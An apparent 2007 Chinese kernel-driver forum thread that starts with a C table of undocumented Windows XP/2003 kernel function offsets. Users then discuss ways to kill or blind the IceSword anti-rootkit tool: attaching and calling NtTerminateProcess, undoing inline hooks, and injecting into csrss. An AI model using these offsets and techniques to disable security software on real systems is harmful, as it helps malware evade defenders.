        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000ABBC5,
        .NtSetValueKey             = (void*) 0x000A8F13,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D13A,
        .swprintf                  = (void*) 0x0002655A,
        .ZwOpenProcess             = (void*) 0x0000CBFA,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD26,
        .ZwReadVirtualMemory       = (void*) 0x0000D0FA,
      }
    },
    {
      TEXT("ntkrpamp 5.1.2600.2853 (xpsp_sp2_gdr.060220-1746)"),
      TEXT("AD416A59B488487E9F2D08FCC806B0581"),
      {
        .NtCreateProcess           = (void*) 0x000F8AD4,
        .NtCreateProcessEx         = (void*) 0x000F8A1E,
        .NtCreateSection           = (void*) 0x000D2E9E,
        .NtTerminateProcess        = (void*) 0x000FA226,
        .NtQueryInformationFile    = (void*) 0x000A286C,
        .NtQueryKey                = (void*) 0x0014C7C0,
        .NtQueryValueKey           = (void*) 0x001491C0,
        .NtSetInformationFile      = (void*) 0x000A2E38,
        .NtSetValueKey             = (void*) 0x001497C6,
        .ObpFreeObject             = (void*) 0x000E87FE,
        .PspTerminateProcess       = (void*) 0x000FA3A0,
        .swprintf                  = (void*) 0x000637F5,
        .ZwOpenProcess             = (void*) 0x00028BCC,
        .ZwProtectVirtualMemory    = (void*) 0x00028CF8,
        .ZwReadVirtualMemory       = (void*) 0x000290CC,
      }
    },
    {
      TEXT("ntkrnlmp 5.1.2600.2853 (xpsp_sp2_gdr.060220-1746)"),
      TEXT("9B934D5224B84CB396AF163480C147822"),
      {
        .NtCreateProcess           = (void*) 0x000E9BF0,
        .NtCreateProcessEx         = (void*) 0x000B3B10,
        .NtCreateSection           = (void*) 0x00095E25,
        .NtTerminateProcess        = (void*) 0x000B5399,
        .NtQueryInformationFile    = (void*) 0x000A7CBB,
        .NtQueryKey                = (void*) 0x000A0FAC,
        .NtQueryValueKey           = (void*) 0x0009B100,
        .NtSetInformationFile      = (void*) 0x000ABBC5,
        .NtSetValueKey             = (void*) 0x000A8F13,
        .ObpFreeObject             = (void*) 0x00095640,
        .PspTerminateProcess       = (void*) 0x0015D0BA,
        .swprintf                  = (void*) 0x0002387A,
        .ZwOpenProcess             = (void*) 0x0000CC0A,
        .ZwProtectVirtualMemory    = (void*) 0x0000CD36,
        .ZwReadVirtualMemory       = (void*) 0x0000D10A,
      }
    },
    {
      TEXT("ntkrnlpa 5.1.2600.2868 (xpsp.060315-1524)"),
      TEXT("23C083B907B0431CA019DA7F5E42A2671"),
      {
        .NtCreateProcess           = (void*) 0x000EF03E,
        .NtCreateProcessEx         = (void*) 0x000EEF88,
        .NtCreateSection           = (void*) 0x000C8566,
        .NtTerminateProcess        = (void*) 0x000F081C,
        .NtQueryInformationFile    = (void*) 0x00097E2A,
        .NtQueryKey                = (void*) 0x00143612,
        .NtQueryValueKey           = (void*) 0x00140012,
        .NtSetInformationFile      = (void*) 0x0009842E,
        .NtSetValueKey             = (void*) 0x00140618,
        .ObpFreeObject             = (void*) 0x000DE53A,
        .PspTerminateProcess       = (void*) 0x000F0996,
        .swprintf                  = (void*) 0x0005FE35,
        .ZwOpenProcess             = (void*) 0x00026EEC,
        .ZwProtectVirtualMemory    = (void*) 0x00027018,
        .ZwReadVirtualMemory       = (void*) 0x000273EC,
      }
    },
    {
      TEXT("ntoskrnl 5.1.2600.2868 (xpsp.060315-1524)"),
      TEXT("795D57E8CCA7486387098DEFE009772C2"),
      {
        .NtCreateProcess           = (void*) 0x000D9BB5,
        .NtCreateProcessEx         = (void*) 0x000AAF82,
        .NtCreateSection           = (void*) 0x0008D71B,
        .NtTerminateProcess        = (void*) 0x000AD840,
        .NtQueryInformationFile    = (void*) 0x0009A57E,
        .NtQueryKey                = (void*) 0x00097CB9,
        .NtQueryValueKey           = (void*) 0x00094203,
        .NtSetInformationFile      = (void*) 0x0009FF9C,
        .NtSetValueKey             = (void*) 0x0009CD8D,
        .ObpFreeObject             = (void*) 0x0008CAA1,
        .PspTerminateProcess       = (void*) 0x0015592E,
        .swprintf                  = (void*) 0x000208EE,
        .ZwOpenProcess             = (void*) 0x00006044,
        .ZwProtectVirtualMemory    = (void*) 0x00006170,
        .ZwReadVirtualMemory       = (void*) 0x00006544,
      }
    },
    {
      TEXT("ntkrnlpa 5.2.3790.0 (srv03_rtm.030324-2048)"),
      TEXT("3E5EC2822A12407CAE564E6D6D0619B31"),
      {
        .NtCreateProcess           = (void*) 0x0011CFC8,
        .NtCreateProcessEx         = (void*) 0x0011CF20,
        .NtCreateSection           = (void*) 0x000F4CDC,
        .NtTerminateProcess        = (void*) 0x0011E640,
        .NtQueryInformationFile    = (void*) 0x000C0004,
        .NtQueryKey                = (void*) 0x00093D5E,
        .NtQueryValueKey           = (void*) 0x00093FDE,
        .NtSetInformationFile      = (void*) 0x000C05B2,
        .NtSetValueKey             = (void*) 0x00090DC4,
        .ObpFreeObject             = (void*) 0x0010CA98,
        .PspTerminateProcess       = (void*) 0x0011E7D4,
        .swprintf                  = (void*) 0x00061F06,
        .ZwOpenProcess             = (void*) 0x00027BD0,
        .ZwProtectVirtualMemory    = (void*) 0x00027CFC,
        .ZwReadVirtualMemory       = (void*) 0x000280F8,
      }
    },
    {
      TEXT("ntoskrnl 5.2.3790.0 (srv03_rtm.030324-2048)"),
      TEXT("112679F166D6449394EFC30950DE9E032"),
      {
        .NtCreateProcess           = (void*) 0x000DF684,
        .NtCreateProcessEx         = (void*) 0x000B0FE3,
        .NtCreateSection           = (void*) 0x00095ECA,
        .NtTerminateProcess        = (void*) 0x000B2CBA,
        .NtQueryInformationFile    = (void*) 0x000A72CF,
        .NtQueryKey                = (void*) 0x000A2C31,
        .NtQueryValueKey           = (void*) 0x00099D61,
        .NtSetInformationFile      = (void*) 0x0009A747,
        .NtSetValueKey             = (void*) 0x000B4859,
        .ObpFreeObject             = (void*) 0x00095231,
        .PspTerminateProcess       = (void*) 0x000D3B76,
        .swprintf                  = (void*) 0x0002D6A9,
        .ZwOpenProcess             = (void*) 0x000081D2,
        .ZwProtectVirtualMemory    = (void*) 0x00008330,
        .ZwReadVirtualMemory       = (void*) 0x000087B8,
      }
    },
    {
      TEXT("ntkrnlpa 5.2.3790.1830 (srv03_sp1_rtm.050324-1447)"),
      TEXT("80A87123E83C40579E8319E5DB7B523C1"),
      {
        .NtCreateProcess           = (void*) 0x00141D12,
        .NtCreateProcessEx         = (void*) 0x00141C5C,
        .NtCreateSection           = (void*) 0x0011EB70,
        .NtTerminateProcess        = (void*) 0x001434F4,
        .NtQueryInformationFile    = (void*) 0x000E7860,
        .NtQueryKey                = (void*) 0x000B3110,
        .NtQueryValueKey           = (void*) 0x000B339E,
        .NtSetInformationFile      = (void*) 0x000E7E62,
        .NtSetValueKey             = (void*) 0x000B396C,
        .ObpFreeObject             = (void*) 0x001304A8,
        .PspTerminateProcess       = (void*) 0x00143690,
        .swprintf                  = (void*) 0x0007D2EB,
        .ZwOpenProcess             = (void*) 0x0002C940,
        .ZwProtectVirtualMemory    = (void*) 0x0002CA6C,
        .ZwReadVirtualMemory       = (void*) 0x0002CE68,
      }
    },
    {
      TEXT("ntoskrnl 5.2.3790.1830 (srv03_sp1_rtm.050324-1447)"),
      TEXT("4106003FF97D4BCBA99245BF2172A8C12"),
      {
        .NtCreateProcess           = (void*) 0x000CA98C,
        .NtCreateProcessEx         = (void*) 0x0011DFDB,
        .NtCreateSection           = (void*) 0x001087E4,
        .NtTerminateProcess        = (void*) 0x00112F97,
        .NtQueryInformationFile    = (void*) 0x00107F94,
        .NtQueryKey                = (void*) 0x0012E22D,
        .NtQueryValueKey           = (void*) 0x0012C2BB,
        .NtSetInformationFile      = (void*) 0x0010F92B,
        .NtSetValueKey             = (void*) 0x0012C6EB,
        .ObpFreeObject             = (void*) 0x001024BD,
        .PspTerminateProcess       = (void*) 0x0019701A,
        .swprintf                  = (void*) 0x00018CB7,
        .ZwOpenProcess             = (void*) 0x00021B54,
        .ZwProtectVirtualMemory    = (void*) 0x00021C80,
        .ZwReadVirtualMemory       = (void*) 0x0002207C,
      }
    },
  } ;
xikug
驱动小牛
驱动小牛
  • 注册日期2001-09-25
  • 最后登录2013-09-27
  • 粉丝1
  • 关注0
  • 积分1001分
  • 威望169点
  • 贡献值0点
  • 好评度168点
  • 原创分1分
  • 专家分0分
7楼#
发布于:2007-01-13 13:36
太复杂了。。。
最简单的就是Attach到icesword进程或你想要结束的进程,然后NtTerminateProcess

这招屡试不爽
http://www.debugman.com
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
8楼#
发布于:2007-01-13 20:19
楼上,你确定可以?我已经吐血了~
没有战争就没有进步 X3工作组 为您提供最好的军火
xyzreg
驱动小牛
驱动小牛
  • 注册日期2005-06-20
  • 最后登录2009-12-06
  • 粉丝0
  • 关注0
  • 积分294分
  • 威望173点
  • 贡献值0点
  • 好评度164点
  • 原创分0分
  • 专家分0分
9楼#
发布于:2007-01-13 20:58
引用第7楼xikug2007-01-13 13:36发表的“”:
太复杂了。。。
最简单的就是Attach到icesword进程或你想要结束的进程,然后NtTerminateProcess

这招屡试不爽

对于某类防终止进程你简简单单的Attach不上去的~
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
10楼#
发布于:2007-01-13 21:34
引用第9楼xyzreg2007-01-13 20:58发表的“”:

对于某类防终止进程你简简单单的Attach不上去的~


YES~
没有战争就没有进步 X3工作组 为您提供最好的军火
xikug
驱动小牛
驱动小牛
  • 注册日期2001-09-25
  • 最后登录2013-09-27
  • 粉丝1
  • 关注0
  • 积分1001分
  • 威望169点
  • 贡献值0点
  • 好评度168点
  • 原创分1分
  • 专家分0分
11楼#
发布于:2007-01-13 21:42
攻与防的任何一方可以说都没有任何绝对的优势...都只能见招拆招...

IS不就是Inline HOOK了几个函数吗...

你的恢复Inline Hook的办法也不是万能的...
当然我的attach也不是万能的...某些东西attach不上去, 但总有办法能绕过去的...
http://www.debugman.com
slwqw
驱动大牛
驱动大牛
  • 注册日期2002-07-18
  • 最后登录2016-01-09
  • 粉丝0
  • 关注0
  • 积分7分
  • 威望197点
  • 贡献值0点
  • 好评度147点
  • 原创分0分
  • 专家分0分
12楼#
发布于:2007-01-14 12:43
xikug,你上面那个截图是哪个软件的啊?能否告知
xikug
驱动小牛
驱动小牛
  • 注册日期2001-09-25
  • 最后登录2013-09-27
  • 粉丝1
  • 关注0
  • 积分1001分
  • 威望169点
  • 贡献值0点
  • 好评度168点
  • 原创分1分
  • 专家分0分
13楼#
发布于:2007-01-14 14:28
我自己写的...暂时还没有公开...
http://www.debugman.com
xyzreg
驱动小牛
驱动小牛
  • 注册日期2005-06-20
  • 最后登录2009-12-06
  • 粉丝0
  • 关注0
  • 积分294分
  • 威望173点
  • 贡献值0点
  • 好评度164点
  • 原创分0分
  • 专家分0分
14楼#
发布于:2007-01-15 00:34
引用第11楼xikug2007-01-13 21:42发表的“”:
攻与防的任何一方可以说都没有任何绝对的优势...都只能见招拆招...

但总有办法能绕过去的

显然。
qiweixue
驱动小牛
驱动小牛
  • 注册日期2004-07-21
  • 最后登录2011-12-19
  • 粉丝0
  • 关注0
  • 积分1006分
  • 威望274点
  • 贡献值0点
  • 好评度268点
  • 原创分1分
  • 专家分0分
15楼#
发布于:2007-01-15 18:08
引用第11楼xikug2007-01-13 21:42发表的“”:
攻与防的任何一方可以说都没有任何绝对的优势...都只能见招拆招...

IS不就是Inline HOOK了几个函数吗...


你的恢复Inline Hook的办法也不是万能的..........

xiKug西裤....
偶认识你啊...发一个给偶...发在diy内部版块中也可以.    

西裤偶给你测试测试...

谁知道效果怎么样...放心我不放出!!!!
cardmagic
驱动中牛
驱动中牛
  • 注册日期2005-03-15
  • 最后登录2010-01-14
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望317点
  • 贡献值0点
  • 好评度312点
  • 原创分0分
  • 专家分0分
16楼#
发布于:2007-01-18 14:15
icesword这种东西,在用户态就可以结束掉.

只要在csrss里搞个东西出来,然后利用它在is里写点垃圾就可以了.

进程这玩意是很脆弱的.
牌术千术IT cardmagic.bokee.com
WQXNETQIQI
驱动大牛
驱动大牛
  • 注册日期2006-06-12
  • 最后登录2010-10-26
  • 粉丝0
  • 关注0
  • 积分13分
  • 威望1076点
  • 贡献值0点
  • 好评度895点
  • 原创分1分
  • 专家分0分
17楼#
发布于:2007-01-18 15:08
引用第16楼cardmagic2007-01-18 14:15发表的“”:
icesword这种东西,在用户态就可以结束掉.

只要在csrss里搞个东西出来,然后利用它在is里写点垃圾就可以了.

进程这玩意是很脆弱的.

呵呵,ep_xoff就提供过那个小玩意,csrss的backdoor,呵呵
驱动开发者 呵呵
killvxk
论坛版主
论坛版主
  • 注册日期2005-10-03
  • 最后登录2014-04-14
  • 粉丝3
  • 关注1
  • 积分1082分
  • 威望2003点
  • 贡献值0点
  • 好评度1693点
  • 原创分2分
  • 专家分0分
18楼#
发布于:2007-01-18 16:29
引用第16楼cardmagic2007-01-18 14:15发表的“”:
icesword这种东西,在用户态就可以结束掉.

只要在csrss里搞个东西出来,然后利用它在is里写点垃圾就可以了.

进程这玩意是很脆弱的.


哦?
csrss里搞个东西很困难~ 不如Hack掉is的界面~
没有战争就没有进步 X3工作组 为您提供最好的军火
cardmagic
驱动中牛
驱动中牛
  • 注册日期2005-03-15
  • 最后登录2010-01-14
  • 粉丝0
  • 关注0
  • 积分1000分
  • 威望317点
  • 贡献值0点
  • 好评度312点
  • 原创分0分
  • 专家分0分
19楼#
发布于:2007-01-18 18:23
引用第18楼killvxk2007-01-18 16:29发表的“”:


哦?
csrss里搞个东西很困难~ 不如Hack掉is的界面~


几行代码而已,很简单的...对大部分东西都有效.不过也没什么意思,因为可以搞进程的地方太多太多了.
强力而有效的保护进程正常运行挺难,但是搞破坏太容易了.
牌术千术IT cardmagic.bokee.com
上一页
游客

返回顶部